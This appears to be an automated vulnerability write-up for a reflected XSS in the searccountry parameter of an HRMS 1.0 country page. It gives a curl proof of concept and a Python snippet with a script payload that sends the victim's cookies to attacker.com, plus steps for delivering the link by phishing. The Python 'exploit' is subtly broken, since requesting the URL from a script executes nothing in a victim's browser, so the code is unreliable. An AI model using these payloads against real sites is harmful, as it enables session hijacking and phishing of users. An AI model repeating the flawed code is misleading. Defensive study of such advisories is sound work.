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How the CVE Works
CVE-2025-40684 is a reflected XSS vulnerability in Human Resource Management System (HRMS) version 1.0. The flaw exists in the `searccountry` parameter of /country.php, where user-supplied input is not properly sanitized before being reflected in the server’s response. An attacker can craft a malicious URL containing JavaScript payloads, which executes in the victim’s browser when the link is clicked. This allows session hijacking, defacement, or phishing attacks. The vulnerability requires user interaction (clicking a malicious link) and is medium-severity due to its need for social engineering.
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Platform: Human Resource Management System
Version: 1.0
Vulnerability: Reflected XSS
Severity: Medium
Date: 08/04/2025
Prediction: Patch by 10/2025
What Undercode Say
curl -X GET "http://example.com/country.php?searccountry=<script>alert(1)</script>"
import requests
exploit_url = "http://example.com/country.php?searccountry=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>"
requests.get(exploit_url)
How Exploit
1. Craft malicious URL with JavaScript payload.
2. Send link to victim via email/phishing.
3. Payload executes upon page load.
Protection from this CVE
1. Input sanitization.
2. Output encoding.
3. CSP implementation.
Impact
1. Session hijacking.
2. Phishing attacks.
3. Defacement.
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Reported By: nvd.nist.gov
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